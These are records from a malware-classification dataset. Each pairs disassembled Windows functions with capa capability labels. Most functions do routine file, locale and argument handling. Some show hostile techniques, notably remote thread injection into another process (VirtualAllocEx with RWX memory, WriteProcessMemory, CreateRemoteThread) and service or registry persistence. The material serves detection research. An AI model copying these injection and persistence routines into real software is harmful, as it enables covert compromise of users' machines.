joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409a24
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409a5d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404390
jmp 0x409a66
mov eax, ebx
mov edx, esi
call fcn.004042f4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409a70
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409a92
movzx eax, byte [esp]
jmp 0x409a94
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a124
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409f9c
mov eax, dword [0x413bf0]
cmp byte [eax], 0
je 0x40a1a0
mov eax, dword [0x413b08]
call fcn.004030a4
call fcn.00402eac
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407360
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a1e8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a1d6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x413ae8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4167f0]
call fcn.004051c0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x410d84
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, ebx
mov edx, esp
mov ecx, 0x104
call fcn.00404510
add esp, 0x104
pop ebx
ret

Function at 0x410db4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x410dfc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004046b4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
setne bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410e03
lea eax, [ebp - 4]
call fcn.004042a0
ret
Function at 0x4113d4
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
mov eax, dword [ebp - 8]
call fcn.004046a4
xor eax, eax
push ebp
push 0x41148f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x800
call fcn.00402d84
mov esi, eax
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.00406ea0
push esi
push 0
mov eax, dword [ebp - 0xc]
call fcn.004046b4
push eax
mov eax, dword [ebp - 4]
call fcn.004046b4
push eax
call sub.kernel32.dll_GetTempFileNameA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, ebx
mov edx, esi
call fcn.00404498
mov eax, esi
call fcn.00402da0
mov edx, dword [ebx]
mov eax, 0x4114a4
call fcn.004047a4
mov edx, eax
dec edx
mov eax, ebx
call fcn.004048e8
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00404548
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411496
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004042c4
ret

Function at 0x4114ac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046a4
xor eax, eax
push ebp
push 0x411556
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00403108
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004046b4
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x411540
push 0xffffffffffffffff
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41155d
lea eax, [ebp - 4]
call fcn.004042a0
ret
Function at 0x412294
Capabilities:
Delete file
Set environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x41229c
push ebx
push esi
push edi
mov eax, dword [0x413bf0]
mov byte [eax], 1
mov eax, 0x411668
call fcn.00405a14
xor eax, eax
push ebp
push 0x412446
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x413a88]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x14]
call fcn.00410e0c
mov edx, dword [ebp - 0x14]
mov eax, 0x418aa4
call fcn.004042f4
lea edx, [ebp - 0x18]
mov eax, dword [0x418aa4]
call fcn.00410d20
mov edx, dword [ebp - 0x18]
mov eax, 0x418aa4
call fcn.004042f4
mov bl, 1
xor eax, eax
push ebp
push 0x4123a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40f5ac]
call fcn.004036d4
mov esi, eax
mov edx, esi
mov eax, 0x412460
call fcn.00411564
mov edx, 0x418a98
mov ecx, 0xc
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, esi
call fcn.00410674
mov edx, esi
mov eax, 0x412470
call fcn.00411564
lea eax, [ebp - 0x20]
mov edx, 0x418a98
call fcn.00404504
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c]
mov eax, dword [0x418aa4]
call fcn.004113d4
mov edx, dword [ebp - 0x1c]
mov eax, 0x418aa8
call fcn.004042f4
mov edx, dword [0x418aa8]
mov eax, esi
call fcn.004105f0
mov eax, esi
call fcn.00403704
push 2
mov eax, dword [0x418aa8]
call fcn.004046b4
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4123b2
test bl, bl
je 0x41242b
lea eax, [ebp - 0x24]
call fcn.00410f1c
mov eax, dword [ebp - 0x24]
call fcn.004046b4
push eax
push 0x412478
call sub.kernel32.dll_SetEnvironmentVariableA
push 0x412488
push dword [0x418aa8]
push 0x4124a0
lea eax, [ebp - 0x28]
mov edx, dword [0x413bb0]
mov edx, dword [edx]
call fcn.00404498
push dword [ebp - 0x28]
push 0x4124ac
mov eax, 0x418aac
mov edx, 5
call main
mov eax, dword [0x418aac]
call fcn.004114ac
mov ebx, eax
mov eax, dword [0x418aa8]
call fcn.004046b4
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x413a88]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41244d
lea eax, [ebp - 0x28]
mov edx, 6
call fcn.004042c4
ret
Function at 0x401c0a
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
ret
Function at 0x40d0cf
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ebp - 8], 2
jl 0x40d28c
inc eax
cmp dword [ebp - 8], eax
push esi
push edi
mov dword [ebp - 4], eax
jle 0x40d287
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea esi, [eax + ecx*4]
push 0x40159c
push dword [esi]
call edi
test eax, eax
je 0x40d28f
push 0x401594
push dword [esi]
call edi
test eax, eax
je 0x40d28f
push 0x40158c
push dword [esi]
call edi
test eax, eax
je 0x40d28f
push 0x401584
push dword [esi]
call edi
test eax, eax
je 0x40d28f
cmp dword [ebp - 4], 1
jne 0x40d16e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebx + 8], eax
jmp 0x40d278
push 0x40157c
push dword [esi]
call edi
test eax, eax
je 0x40d188
push 0x401574
push dword [esi]
call edi
test eax, eax
jne 0x40d18c
mov byte [ebx + 3], 1
push 0x40156c
push dword [esi]
call edi
test eax, eax
je 0x40d1a6
push 0x401564
push dword [esi]
call edi
test eax, eax
jne 0x40d1aa
mov byte [ebx + 1], 1
push 0x40155c
push dword [esi]
call edi
test eax, eax
je 0x40d1c4
push 0x401554
push dword [esi]
call edi
test eax, eax
jne 0x40d1cb
mov byte [ebx + 1], 1
mov byte [ebx], 1
push 0x40154c
push dword [esi]
call edi
test eax, eax
je 0x40d1e5
push 0x401544
push dword [esi]
call edi
test eax, eax
jne 0x40d1e9
mov byte [ebx + 2], 1
push 0x40153c
push dword [esi]
call edi
test eax, eax
je 0x40d203
push 0x401534
push dword [esi]
call edi
test eax, eax
jne 0x40d20a
mov dword [ebx + 4], 1
push 0x40152c
push dword [esi]
call edi
test eax, eax
je 0x40d224
push 0x401524
push dword [esi]
call edi
test eax, eax
jne 0x40d242
mov eax, dword [ebp - 4]
inc eax
cmp eax, dword [ebp - 8]
jge 0x40d242
mov ecx, dword [ebp - 0xc]
lea esi, [ecx + eax*4]
mov dword [ebx + 4], 2
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx + 0xc], eax
push 0x40151c
push dword [esi]
call edi
test eax, eax
je 0x40d25c
push 0x401514
push dword [esi]
call edi
test eax, eax
jne 0x40d278
mov eax, dword [ebp - 4]
inc eax
cmp eax, dword [ebp - 8]
jge 0x40d278
mov ecx, dword [ebp - 0xc]
mov dword [ebx + 4], 3
mov dword [ebp - 4], eax
mov eax, dword [ecx + eax*4]
mov dword [ebx + 0xc], eax
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jl 0x40d10d
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push 0x401248
call fcn.0040fa1a
pop ecx
xor eax, eax
jmp 0x40d28a
Function at 0x40d2c4
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1010
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x1010]
push 0x401690
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov edi, 0x40165c
push edi
mov esi, connect
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d310
push dword [ebp - 0xc]
jmp 0x40d3a5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push 0x20006
push eax
push eax
push eax
push edi
push esi
mov byte [0x415034], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40d3e1
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x810]
push 0x40164c
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x810]
push eax
xor esi, esi
inc esi
push esi
push 0
push 0x401638
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40d3e1
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x401630
push dword [ebp - 4]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40d3e1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040f9bc
push 0x4015a8
mov esi, 0x41502c
push esi
call dword [eax + 0xc]
call fcn.0040f9bc
push esi
call dword [eax + 0x14]
test eax, eax
je 0x40d3e5
call fcn.0040f9bc
push esi
call dword [eax + 0x18]
call fcn.0040f9bc
push esi
call dword [eax + 0x14]
test eax, eax
je 0x40d3e5
xor eax, eax
jmp 0x40d3e8
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d3ed
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.0040f9bc
push 0x41502c
call dword [eax + 0x18]
cmp byte [0x415034], 0
je 0x40d43d
lea eax, [ebp - 4]
push eax
push 0x10009
push 0
push 0x4016d0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d43d
push 0x4016c0
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
leave
ret
Function at 0x40f949
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push 0x40cb48
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x40f9b7
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40cb2c
push ebx
call edi
push 0x40cb1c
push ebx
mov dword [esi], eax
call edi
push 0x40cb0c
push ebx
mov dword [esi + 4], eax
call edi
push 0x40caf4
push ebx
mov dword [esi + 8], eax
call edi
push 0x40cae0
push ebx
mov dword [esi + 0xc], eax
call edi
push 0x40cad0
push ebx
mov dword [esi + 0x10], eax
call edi
push 0x40cac0
push ebx
mov dword [esi + 0x14], eax
call edi
mov dword [esi + 0x18], eax
xor eax, eax
inc eax
pop edi
jmp 0x40f9b9
xor eax, eax
pop esi
pop ebx
ret

Function at 0x40fc05
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push connect
push 0x417d60
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40fc8c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
push ebx
lea ecx, [ebp - 8]
push ecx
push 0x2c
lea ecx, [ebp - 0x38]
push ecx
push eax
call esi
xor edi, edi
push ebx
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call esi
movzx eax, word [ebp - 0xc]
push eax
push edi
push 0x101e
push dword [0x418d70]
call dword [sym.imp.USER32.dll_SendMessageA]
inc edi
cmp edi, 5
jl 0x40fc47
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowPlacement]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fc8f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push 0x2c
pop esi
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call dword [sym.imp.USER32.dll_GetWindowPlacement]
test eax, eax
je 0x40fd1e
push edi
xor edi, edi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push 0x417d60
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x40fd1d
push ebx
push edi
lea ecx, [ebp - 8]
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x38]
push ecx
push eax
call esi
xor ebx, ebx
push edi
push ebx
push 0x101d
push dword [0x418d70]
call dword [sym.imp.USER32.dll_SendMessageA]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call esi
inc ebx
cmp ebx, 5
jl 0x40fce7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EndDialog]
pop esi
leave
ret
Function at 0x40fff6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
or ebx, 0xffffffff
add esi, 0xfffffffe
push 0
lea eax, [ebp - 4]
push eax
inc ebx
inc esi
push 2
inc esi
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], 0
je 0x41002b
cmp ebx, dword [ebp + 0xc]
jge 0x41002b
cmp word [esi], 0
jne 0x410005
pop esi
test ebx, ebx
pop ebx
jle 0x410036
mov eax, dword [ebp + 8]
leave
ret
xor eax, eax
leave
ret

Function at 0x41016c
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41018f
and al, 0xfe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
and dword [ebp - 0x20], 0
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x820]
push 0x40cba0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x820]
mov dword [ebp - 0x18], eax
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x40cb9c
mov word [ebp - 0x10], 0x450
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
pop edi
je 0x4101fc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4101fc
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4101fc
xor al, al
jmp 0x4101fe
mov al, 1
pop esi
leave
ret

Function at 0x410290
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1820
and dword [ebp - 0x20], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push 6
pop ecx
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x40cba0
lea eax, [ebp - 0x820]
push edi
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x1020]
push edi
push eax
call esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x820]
push dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1820]
push 0x40cbb8
push eax
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x10], 0x450
call esi
add esp, 0x28
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
pop edi
pop esi
je 0x41032e
lea eax, [ebp - 0x1820]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x41032e
xor al, al
leave
ret
mov al, 1
leave
ret
Function at 0x410a82
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push 0x800
push 0x40
call ebx
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [ebp + 0xc]
mov ecx, esi
call fcn.004107c6
and dword [ebp + 0xc], 0
cmp dword [esi + 0xc], 0
jbe 0x410b88
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [esi + 4]
mov ecx, dword [ebp + 0xc]
push dword [eax + ecx*4]
lea eax, [ebp - 0xa58]
push 0x40cbe4
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0xa58]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x410b78
push 0x40cbe0
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x410b5b
push 0x40cbd8
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x410b5b
push 0x800
push 0x40
call ebx
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x22c]
push ecx
mov ecx, dword [esi + 4]
push dword [ecx + edx*4]
mov dword [ebp - 8], eax
push 0x40cb90
push eax
call edi
add esp, 0x10
push dword [ebp - 8]
mov ecx, esi
call fcn.004107c6
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x410afe
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [esi + 0xc]
jb 0x410ac8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410bea
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
cmp dword [ebp + 8], 0
je 0x410cf6
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
push dword [0x41a604]
lea eax, [ebp - 0x404]
push 0x40cc44
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
add eax, 0x80a
push eax
lea eax, [ebp - 0x404]
push 0x40cc30
push eax
call esi
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 4]
push ecx
movzx ecx, word [eax + 0x808]
push ecx
push dword [eax + 0x804]
lea eax, [ebp - 0x404]
push 0x40cc04
push eax
call esi
add esp, 0x14
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
add eax, 0x100a
push eax
lea eax, [ebp - 0x404]
push 0x40cbf0
push eax
call esi
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41147e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push 0x40cd1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov dword [ebp - 4], eax
je 0x41165d
push dword [ebp + 0xc]
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp - 8], eax
je 0x41165d
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
push 0x40
mov eax, 0x41058d
mov edi, 0x4104bc
sub eax, edi
mov ebx, 0x1000
push ebx
push eax
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
call esi
test eax, eax
mov dword [ebp - 0x10], eax
je 0x411651
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
push dword [ebp - 8]
call edi
push 0x40
push ebx
mov ebx, 0x830
push ebx
push 0
push dword [ebp - 8]
call esi
test eax, eax
mov dword [ebp - 0xc], eax
je 0x41163e
push dword [ebp + 8]
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40cd10
push dword [ebp - 4]
mov dword [ebp - 0x818], eax
call esi
push 0x40cd00
push dword [ebp - 4]
mov dword [ebp - 0x844], eax
call esi
push 0x40ccf4
push dword [ebp - 4]
mov dword [ebp - 0x840], eax
call esi
push 0x40cce8
push dword [ebp - 4]
mov dword [ebp - 0x83c], eax
call esi
push 0x40ccdc
push dword [ebp - 4]
mov dword [ebp - 0x838], eax
call esi
push 0x40ccd0
push dword [ebp - 4]
mov dword [ebp - 0x834], eax
call esi
push 0x40ccc4
push dword [ebp - 4]
mov dword [ebp - 0x830], eax
call esi
push 0x40ccb8
push dword [ebp - 4]
mov dword [ebp - 0x82c], eax
call esi
push 0x40ccb0
push dword [ebp - 4]
mov dword [ebp - 0x828], eax
call esi
push 0x40cc9c
push dword [ebp - 4]
mov dword [ebp - 0x824], eax
call esi
push 0x40cc8c
push dword [ebp - 4]
mov dword [ebp - 0x820], eax
call esi
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x844]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
call edi
xor esi, esi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, esi
je 0x411625
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push esi
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4134cb
Capabilities:
Create process on windows
Terminate process

Disassembly:
push esi
call fcn.004100af
xor eax, eax
push eax
push eax
push eax
push eax
call fcn.00412dac
mov esi, eax
call fcn.004100c1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x413cbf
Capabilities:
Create thread

Disassembly:
push dword [esp + 4]
push 0x41a620
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
push eax
push eax
push eax
push 0x413af0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41a720], eax
ret